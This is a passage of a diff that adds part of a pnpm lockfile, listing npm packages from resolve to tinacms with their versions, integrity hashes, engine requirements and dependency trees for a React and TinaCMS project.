sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==} + hasBin: true + dependencies: + is-core-module: 2.13.1 + path-parse: 1.0.7 + supports-preserve-symlinks-flag: 1.0.0 + dev: false + + /reusify@1.0.4: + resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==} + engines: {iojs: '>=1.0.0', node: '>=0.10.0'} + dev: false + + /rfdc@1.3.0: + resolution: {integrity: sha512-V2hovdzFbOi77/WajaSMXk2OLm+xNIeQdMMuB7icj7bk6zi2F8GGAxigcnDFpJHbNyNcgyJDiP+8nOrY5cZGrA==} + dev: false + + /rollup-plugin-visualizer@5.10.0: + resolution: {integrity: sha512-N4AkNL0qFvipegbDJ0kupS+8eKGjL0q+lYwV46NflLX/B8Rh73wz3kCIdg50bR6XVhNcaMA4Eb519xtm90Ckfg==} + engines: {node: '>=14'} + hasBin: true + peerDependencies: + rollup: 2.x || 3.x || 4.x + peerDependenciesMeta: + rollup: + optional: true + dependencies: + open: 8.4.2 + picomatch: 2.3.1 + source-map: 0.7.4 + yargs: 17.7.2 + dev: false + + /rollup@3.29.4: + resolution: {integrity: sha512-oWzmBZwvYrU0iJHtDmhsm662rC15FRXmcjCk1xD771dFDx5jJ02ufAQQTn0etB2emNk4J9EZg/yWKpsn9BWGRw==} + engines: {node: '>=14.18.0', npm: '>=8.0.0'} + hasBin: true + optionalDependencies: + fsevents: 2.3.3 + dev: false + + /run-parallel-limit@1.1.0: + resolution: {integrity: sha512-jJA7irRNM91jaKc3Hcl1npHsFLOXOoTkPCUL1JEa1R82O2miplXXRaGdjW/KM/98YQWDhJLiSs793CnXfblJUw==} + dependencies: + queue-microtask: 1.2.3 + dev: false + + /run-parallel@1.2.0: + resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==} + dependencies: + queue-microtask: 1.2.3 + dev: false + + /sade@1.8.1: + resolution: {integrity: sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A==} + engines: {node: '>=6'} + dependencies: + mri: 1.2.0 + dev: false + + /safe-buffer@5.1.2: + resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==} + dev: false + + /safe-buffer@5.2.1: + resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==} + dev: false + + /safer-buffer@2.1.2: + resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==} + dev: false + + /scheduler@0.19.0: + resolution: {integrity: sha512-xowbVaTPe9r7y7RUejcK73/j8tt2jfiyTednOvHbA8JoClvMYCp+r8QegLwK/n8zWQAtZb1fFnER4XLBZXrCxA==} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + dev: false + + /scheduler@0.20.2: + resolution: {integrity: sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ==} + dependencies: + loose-envify: 1.4.0 + object-assign: 4.1.1 + dev: false + + /scheduler@0.23.0: + resolution: {integrity: sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==} + dependencies: + loose-envify: 1.4.0 + dev: false + + /scmp@2.1.0: + resolution: {integrity: sha512-o/mRQGk9Rcer/jEEw/yw4mwo3EU/NvYvp577/Btqrym9Qy5/MdWGBqipbALgd2lrdWTJ5/gqDusxfnQBxOxT2Q==} + dev: false + + /scriptjs@2.5.9: + resolution: {integrity: sha512-qGVDoreyYiP1pkQnbnFAUIS5AjenNwwQBdl7zeos9etl+hYKWahjRTfzAZZYBv5xNHx7vNKCmaLDQZ6Fr2AEXg==} + dev: false + + /scroll-into-view-if-needed@2.2.31: + resolution: {integrity: sha512-dGCXy99wZQivjmjIqihaBQNjryrz5rueJY7eHfTdyWEiR4ttYpsajb14rn9s5d4DY4EcY6+4+U/maARBXJedkA==} + dependencies: + compute-scroll-into-view: 1.0.20 + dev: false + + /search-index@4.0.0(abstract-level@1.0.3): + resolution: {integrity: sha512-D3MRIWXO5yF5c33B1DLh8yqWvJu4gaH9gaKUNeWIZMkwb/+j2y/wOe1OB1dyoFvBw3aUCxYZQJJDZK02HOGrDQ==} + engines: {node: '>=12'} + dependencies: + browser-level: 1.0.1 + charwise: 3.0.1 + fergies-inverted-index: 12.0.0(abstract-level@1.0.3) + level-read-stream: 1.1.0(abstract-level@1.0.3) + lru-cache: 10.0.0 + memory-level: 1.0.0 + ngraminator: 3.0.2 + p-queue: 7.3.4 + term-vector: 1.0.0 + transitivePeerDependencies: + - abstract-level + dev: false + + /section-matter@1.0.0: + resolution: {integrity: sha512-vfD3pmTzGpufjScBh50YHKzEu2lxBWhVEHsNGoEXmCmn2hKGfeNLYMzCJpe8cD7gqX7TJluOVpBkAequ6dgMmA==} + engines: {node: '>=4'} + dependencies: + extend-shallow: 2.0.1 + kind-of: 6.0.3 + dev: false + + /semver@6.3.1: + resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==} + hasBin: true + dev: false + + /semver@7.5.4: + resolution: {integrity: sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==} + engines: {node: '>=10'} + hasBin: true + dependencies: + lru-cache: 6.0.0 + dev: false + + /send@0.18.0: + resolution: {integrity: sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==} + engines: {node: '>= 0.8.0'} + dependencies: + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + encodeurl: 1.0.2 + escape-html: 1.0.3 + etag: 1.8.1 + fresh: 0.5.2 + http-errors: 2.0.0 + mime: 1.6.0 + ms: 2.1.3 + on-finished: 2.4.1 + range-parser: 1.2.1 + statuses: 2.0.1 + transitivePeerDependencies: + - supports-color + dev: false + + /sentence-case@3.0.4: + resolution: {integrity: sha512-8LS0JInaQMCRoQ7YUytAo/xUu5W2XnQxV2HI/6uM6U7CITS1RqPElr30V6uIqyMKM9lJGRVFy5/4CuzcixNYSg==} + dependencies: + no-case: 3.0.4 + tslib: 2.6.2 + upper-case-first: 2.0.2 + dev: false + + /serve-static@1.15.0: + resolution: {integrity: sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==} + engines: {node: '>= 0.8.0'} + dependencies: + encodeurl: 1.0.2 + escape-html: 1.0.3 + parseurl: 1.3.3 + send: 0.18.0 + transitivePeerDependencies: + - supports-color + dev: false + + /set-blocking@2.0.0: + resolution: {integrity: sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==} + dev: false + + /set-function-length@1.1.1: + resolution: {integrity: sha512-VoaqjbBJKiWtg4yRcKBQ7g7wnGnLV3M8oLvVWwOk2PdYY6PEFegR1vezXR0tw6fZGF9csVakIRjrJiy2veSBFQ==} + engines: {node: '>= 0.4'} + dependencies: + define-data-property: 1.1.1 + get-intrinsic: 1.2.2 + gopd: 1.0.1 + has-property-descriptors: 1.0.1 + dev: false + + /set-value@4.1.0: + resolution: {integrity: sha512-zTEg4HL0RwVrqcWs3ztF+x1vkxfm0lP+MQQFPiMJTKVceBwEV0A569Ou8l9IYQG8jOZdMVI1hGsc0tmeD2o/Lw==} + engines: {node: '>=11.0'} + dependencies: + is-plain-object: 2.0.4 + is-primitive: 3.0.1 + dev: false + + /setimmediate@1.0.5: + resolution: {integrity: sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==} + dev: false + + /setprototypeof@1.2.0: + resolution: {integrity: sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==} + dev: false + + /sha.js@2.4.11: + resolution: {integrity: sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==} + hasBin: true + dependencies: + inherits: 2.0.4 + safe-buffer: 5.2.1 + dev: false + + /side-channel@1.0.4: + resolution: {integrity: sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==} + dependencies: + call-bind: 1.0.5 + get-intrinsic: 1.2.2 + object-inspect: 1.13.1 + dev: false + + /signed-varint@2.0.1: + resolution: {integrity: sha512-abgDPg1106vuZZOvw7cFwdCABddfJRz5akcCcchzTbhyhYnsG31y4AlZEgp315T7W3nQq5P4xeOm186ZiPVFzw==} + dependencies: + varint: 5.0.2 + dev: false + + /signedsource@1.0.0: + resolution: {integrity: sha512-6+eerH9fEnNmi/hyM1DXcRK3pWdoMQtlkQ+ns0ntzunjKqp5i3sKCc80ym8Fib3iaYhdJUOPdhlJWj1tvge2Ww==} + dev: false + + /simple-concat@1.0.1: + resolution: {integrity: sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==} + dev: false + + /simple-get@4.0.1: + resolution: {integrity: sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==} + dependencies: + decompress-response: 6.0.0 + once: 1.4.0 + simple-concat: 1.0.1 + dev: false + + /simple-swizzle@0.2.2: + resolution: {integrity: sha512-JA//kQgZtbuY83m+xT+tXJkmJncGMTFT+C+g2h2R9uxkYIrE2yy9sgmcLhCnw57/WSD+Eh3J97FPEDFnbXnDUg==} + dependencies: + is-arrayish: 0.3.2 + dev: false + + /sisteransi@1.0.5: + resolution: {integrity: sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==} + dev: false + + /slash@3.0.0: + resolution: {integrity: sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==} + engines: {node: '>=8'} + dev: false + + /slate-history@0.93.0(slate@0.94.1): + resolution: {integrity: sha512-Gr1GMGPipRuxIz41jD2/rbvzPj8eyar56TVMyJBvBeIpQSSjNISssvGNDYfJlSWM8eaRqf6DAcxMKzsLCYeX6g==} + peerDependencies: + slate: '>=0.65.3' + dependencies: + is-plain-object: 5.0.0 + slate: 0.94.1 + dev: false + + /slate-hyperscript@0.77.0(slate@0.94.1): + resolution: {integrity: sha512-M6uRpttwKnosniQORNPYQABHQ9XWC7qaSr/127LWWPjTOR5MSSwrHGrghN81BhZVqpICHrI7jkPA2813cWdHNA==} + peerDependencies: + slate: '>=0.65.3' + dependencies: + is-plain-object: 5.0.0 + slate: 0.94.1 + dev: false + + /slate-react@0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1): + resolution: {integrity: sha512-jVUbTU+0MnbT7l09thQnWfM7gneTFGMsybmXX9utryQnbttKwIo3NynPI6chGwiz0N4/6k5Yb4fc8N/eZkYHUw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.65.3' + dependencies: + '@juggle/resize-observer': 3.4.0 + '@types/is-hotkey': 0.1.10 + '@types/lodash': 4.14.202 + direction: 1.0.4 + is-hotkey: 0.1.8 + is-plain-object: 5.0.0 + lodash: 4.17.21 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + scroll-into-view-if-needed: 2.2.31 + slate: 0.94.1 + tiny-invariant: 1.0.6 + dev: false + + /slate-react@0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1): + resolution: {integrity: sha512-jVUbTU+0MnbT7l09thQnWfM7gneTFGMsybmXX9utryQnbttKwIo3NynPI6chGwiz0N4/6k5Yb4fc8N/eZkYHUw==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.65.3' + dependencies: + '@juggle/resize-observer': 3.4.0 + '@types/is-hotkey': 0.1.10 + '@types/lodash': 4.14.202 + direction: 1.0.4 + is-hotkey: 0.1.8 + is-plain-object: 5.0.0 + lodash: 4.17.21 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + scroll-into-view-if-needed: 2.2.31 + slate: 0.94.1 + tiny-invariant: 1.0.6 + dev: false + + /slate@0.94.1: + resolution: {integrity: sha512-GH/yizXr1ceBoZ9P9uebIaHe3dC/g6Plpf9nlUwnvoyf6V1UOYrRwkabtOCd3ZfIGxomY4P7lfgLr7FPH8/BKA==} + dependencies: + immer: 9.0.21 + is-plain-object: 5.0.0 + tiny-warning: 1.0.3 + dev: false + + /snake-case@3.0.4: + resolution: {integrity: sha512-LAOh4z89bGQvl9pFfNF8V146i7o7/CqFPbqzYgP+yYzDIDeS9HaNFtXABamRW+AQzEVODcvE79ljJ+8a9YSdMg==} + dependencies: + dot-case: 3.0.4 + tslib: 2.6.2 + dev: false + + /source-map-js@1.0.2: + resolution: {integrity: sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==} + engines: {node: '>=0.10.0'} + dev: false + + /source-map@0.7.4: + resolution: {integrity: sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==} + engines: {node: '>= 8'} + dev: false + + /sponge-case@1.0.1: + resolution: {integrity: sha512-dblb9Et4DAtiZ5YSUZHLl4XhH4uK80GhAZrVXdN4O2P4gQ40Wa5UIOPUHlA/nFd2PLblBZWUioLMMAVrgpoYcA==} + dependencies: + tslib: 2.6.2 + dev: false + + /sprintf-js@1.0.3: + resolution: {integrity: sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==} + dev: false + + /sqlite-level@1.0.1: + resolution: {integrity: sha512-uPo21L96VADz/PPkkZoPNMH9fURTQLDrSVe8XJUwPjqvTi3xigDvCfoektZdvoEgRAiaHchOgksW7YBoyVyEnw==} + dependencies: + abstract-level: 1.0.3 + better-sqlite3: 8.7.0 + module-error: 1.0.2 + dev: false + + /state-local@1.0.7: + resolution: {integrity: sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==} + dev: false + + /statuses@2.0.1: + resolution: {integrity: sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==} + engines: {node: '>= 0.8'} + dev: false + + /stopword@2.0.8: + resolution: {integrity: sha512-btlEC2vEuhCuvshz99hSGsY8GzaP5qzDPQm56j6rR/R38p8xdsOXgU5a6tIgvU/4hcCta1Vlo/2FVXA9m0f8XA==} + dev: false + + /streamroller@3.1.5: + resolution: {integrity: sha512-KFxaM7XT+irxvdqSP1LGLgNWbYN7ay5owZ3r/8t77p+EtSUAfUgtl7be3xtqtOmGUl9K9YPO2ca8133RlTjvKw==} + engines: {node: '>=8.0'} + dependencies: + date-format: 4.0.14 + debug: 4.3.4 + fs-extra: 8.1.0 + transitivePeerDependencies: + - supports-color + dev: false + + /streamsearch@1.1.0: + resolution: {integrity: sha512-Mcc5wHehp9aXz1ax6bZUyY5afg9u2rv5cqQI3mRrYkGC8rW2hM02jWuwjtL++LS5qinSyhj2QfLyNsuc+VsExg==} + engines: {node: '>=10.0.0'} + dev: false + + /string-width@4.2.3: + resolution: {integrity: sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==} + engines: {node: '>=8'} + dependencies: + emoji-regex: 8.0.0 + is-fullwidth-code-point: 3.0.0 + strip-ansi: 6.0.1 + dev: false + + /string_decoder@1.1.1: + resolution: {integrity: sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==} + dependencies: + safe-buffer: 5.1.2 + dev: false + + /string_decoder@1.3.0: + resolution: {integrity: sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==} + dependencies: + safe-buffer: 5.2.1 + dev: false + + /stringify-entities@4.0.3: + resolution: {integrity: sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==} + dependencies: + character-entities-html4: 2.1.0 + character-entities-legacy: 3.0.0 + dev: false + + /strip-ansi@6.0.1: + resolution: {integrity: sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==} + engines: {node: '>=8'} + dependencies: + ansi-regex: 5.0.1 + dev: false + + /strip-bom-string@1.0.0: + resolution: {integrity: sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g==} + engines: {node: '>=0.10.0'} + dev: false + + /strip-json-comments@2.0.1: + resolution: {integrity: sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==} + engines: {node: '>=0.10.0'} + dev: false + + /style-mod@4.1.0: + resolution: {integrity: sha512-Ca5ib8HrFn+f+0n4N4ScTIA9iTOQ7MaGS1ylHcoVqW9J7w2w8PzN6g9gKmTYgGEBH8e120+RCmhpje6jC5uGWA==} + dev: false + + /style-value-types@5.0.0: + resolution: {integrity: sha512-08yq36Ikn4kx4YU6RD7jWEv27v4V+PUsOGa4n/as8Et3CuODMJQ00ENeAVXAeydX4Z2j1XHZF1K2sX4mGl18fA==} + dependencies: + hey-listen: 1.0.8 + tslib: 2.6.2 + dev: false + + /styled-jsx@5.1.1(@babel/core@7.23.5)(react@18.2.0): + resolution: {integrity: sha512-pW7uC1l4mBZ8ugbiZrcIsiIvVx1UmTfw7UkC3Um2tmfUq9Bhk8IiyEIPl6F8agHgjzku6j0xQEZbfA5uSgSaCw==} + engines: {node: '>= 12.0.0'} + peerDependencies: + '@babel/core': '*' + babel-plugin-macros: '*' + react: '>= 16.8.0 || 17.x.x || ^18.0.0-0' + peerDependenciesMeta: + '@babel/core': + optional: true + babel-plugin-macros: + optional: true + dependencies: + '@babel/core': 7.23.5 + client-only: 0.0.1 + react: 18.2.0 + dev: false + + /sucrase@3.34.0: + resolution: {integrity: sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==} + engines: {node: '>=8'} + hasBin: true + dependencies: + '@jridgewell/gen-mapping': 0.3.3 + commander: 4.1.1 + glob: 7.1.6 + lines-and-columns: 1.2.4 + mz: 2.7.0 + pirates: 4.0.6 + ts-interface-checker: 0.1.13 + dev: false + + /supports-color@5.5.0: + resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==} + engines: {node: '>=4'} + dependencies: + has-flag: 3.0.0 + dev: false + + /supports-color@7.2.0: + resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==} + engines: {node: '>=8'} + dependencies: + has-flag: 4.0.0 + dev: false + + /supports-preserve-symlinks-flag@1.0.0: + resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==} + engines: {node: '>= 0.4'} + dev: false + + /svg-parser@2.0.4: + resolution: {integrity: sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ==} + dev: false + + /swap-case@2.0.2: + resolution: {integrity: sha512-kc6S2YS/2yXbtkSMunBtKdah4VFETZ8Oh6ONSmSd9bRxhqTrtARUCBUiWXH3xVPpvR7tz2CSnkuXVE42EcGnMw==} + dependencies: + tslib: 2.6.2 + dev: false + + /tabbable@6.2.0: + resolution: {integrity: sha512-Cat63mxsVJlzYvN51JmVXIgNoUokrIaT2zLclCXjRd8boZ0004U4KCs/sToJ75C6sdlByWxpYnb5Boif1VSFew==} + dev: false + + /tailwindcss@3.3.6: + resolution: {integrity: sha512-AKjF7qbbLvLaPieoKeTjG1+FyNZT6KaJMJPFeQyLfIp7l82ggH1fbHJSsYIvnbTFQOlkh+gBYpyby5GT1LIdLw==} + engines: {node: '>=14.0.0'} + hasBin: true + dependencies: + '@alloc/quick-lru': 5.2.0 + arg: 5.0.2 + chokidar: 3.5.3 + didyoumean: 1.2.2 + dlv: 1.1.3 + fast-glob: 3.3.2 + glob-parent: 6.0.2 + is-glob: 4.0.3 + jiti: 1.21.0 + lilconfig: 2.1.0 + micromatch: 4.0.5 + normalize-path: 3.0.0 + object-hash: 3.0.0 + picocolors: 1.0.0 + postcss: 8.4.32 + postcss-import: 15.1.0(postcss@8.4.32) + postcss-js: 4.0.1(postcss@8.4.32) + postcss-load-config: 4.0.2(postcss@8.4.32) + postcss-nested: 6.0.1(postcss@8.4.32) + postcss-selector-parser: 6.0.13 + resolve: 1.22.8 + sucrase: 3.34.0 + transitivePeerDependencies: + - ts-node + dev: false + + /tar-fs@2.1.1: + resolution: {integrity: sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==} + dependencies: + chownr: 1.1.4 + mkdirp-classic: 0.5.3 + pump: 3.0.0 + tar-stream: 2.2.0 + dev: false + + /tar-stream@2.2.0: + resolution: {integrity: sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==} + engines: {node: '>=6'} + dependencies: + bl: 4.1.0 + end-of-stream: 1.4.4 + fs-constants: 1.0.0 + inherits: 2.0.4 + readable-stream: 3.6.2 + dev: false + + /term-vector@1.0.0: + resolution: {integrity: sha512-P7xDawxO9T1yjR2oiTfgw7BzvyrdsbakUT6PJsgaAeFmSV+6h3fnXtmZJf4ynef6HVamYgs7Wf5I75UBV15ddQ==} + engines: {node: '>=6'} + dev: false + + /thenify-all@1.6.0: + resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==} + engines: {node: '>=0.8'} + dependencies: + thenify: 3.3.1 + dev: false + + /thenify@3.3.1: + resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + dependencies: + any-promise: 1.3.0 + dev: false + + /tinacms@1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-z+hMgWB+3YmA17bcq214alt88cR0sgs8leQY8oVYMb74K8zK8SOqGZA1nB4EUtF7gwrdebrRF9ZNpg1QOIJNfQ==} + peerDependencies: + react: '>=16.14.0' + react-dom: '>=16.14.0' + dependencies: + '@floating-ui/dom': 1.5.3 + '@floating-ui/react-dom': 2.0.4(react-dom@17.0.2)(react@17.0.2) + '@graphql-inspector/core': 4.2.2(graphql@15.8.0) + '@headlessui/react': 1.7.17(react-dom@17.0.2)(react@17.0.2) + '@heroicons/react': 1.0.6(react@17.0.2) + '@monaco-editor/react': 4.4.5(monaco-editor@0.31.0)(react-dom@17.0.2)(react@17.0.2) + '@radix-ui/react-popover': 1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + '@react-aria/i18n': 3.9.0(react@17.0.2) + '@react-hook/window-size': 3.1.1(react@17.0.2) + '@react-types/combobox': 3.9.0(react@17.0.2) + '@react-types/shared': 3.22.0(react@17.0.2) + '@sambego/storybook-styles': 1.0.0 + '@tinacms/mdx': 1.3.23(react@17.0.2)(yup@0.32.11) + '@tinacms/schema-tools': 1.4.15(react@17.0.2)(yup@0.32.11) + '@tinacms/search': 1.0.17(encoding@0.1.13)(react@17.0.2)(yup@0.32.11) + '@tinacms/sharedctx': 1.0.2(react-dom@17.0.2)(react@17.0.2) + '@udecode/plate-headless': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + atob: 2.1.2 + color-string: 1.9.1 + crypto-js: 4.2.0 + date-fns: 2.30.0 + encoding: 0.1.13 + fetch-ponyfill: 7.1.0(encoding@0.1.13) + final-form: 4.20.10 + final-form-arrays: 3.1.0(final-form@4.20.10) + final-form-set-field-data: 1.0.2(final-form@4.20.10) + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + is-hotkey: 0.2.0 + lodash.get: 4.4.2 + lodash.set: 4.3.2 + moment: 2.29.4 + monaco-editor: 0.31.0 + prism-react-renderer: 2.3.0(react@17.0.2) + prismjs: 1.29.0 + prop-types: 15.7.2 + react: 17.0.2 + react-beautiful-dnd: 13.1.1(react-dom@17.0.2)(react@17.0.2) + react-color: 2.19.3(react@17.0.2) + react-datetime: 2.16.3(moment@2.29.4)(react-dom@17.0.2)(react@17.0.2) + react-dom: 17.0.2(react@17.0.2) + react-dropzone: 14.2.3(react@17.0.2) + react-final-form: 6.5.9(final-form@4.20.10)(react@17.0.2) + react-icons: 4.12.0(react@17.0.2) + react-onclickoutside: 6.13.0(react-dom@17.0.2)(react@17.0.2) + react-router-dom: 6.3.0(react-dom@17.0.2)(react@17.0.2) + react-textarea-autosize: 8.5.2(@types/react@18.2.7)(react@17.0.2) + scheduler: 0.19.0 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + webfontloader: 1.6.28 + yup: 0.32.11 + zod: 3.22.4 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - supports-color + dev: false + + /tinacms@1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-z+hMgWB+3YmA17bcq214alt88cR0sgs8leQY8oVYMb74K8zK8SOqGZA1nB4EUtF7gwrdebrRF9ZNpg1QOIJNfQ==} + peerDependencies: + react: '>=16.14.0' + react-dom: '>=16.14.0' + dependencies: + '@floating-ui/dom': 1.5.3 + '@floating-ui/react-dom': 2.0.4(react-dom@18.2.0)(react@18.2.0) + '@graphql-inspector/core': 4.2.2(graphql@15.8.0) + '@headlessui/react': 1.7.17(react-dom@18.2.0)(react@18.2.0) + '@heroicons/react': 1.0.6(react@18.2.0) + '@monaco-editor/react': 4.4.5(monaco-editor@0.31.0)(react-dom@18.2.0)(react@18.2.0) + '@radix-ui/react-popover': 1.0.7(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + '@react-aria/i18n': 3.9.0(react@18.2.0) + '@react-hook/window-size': 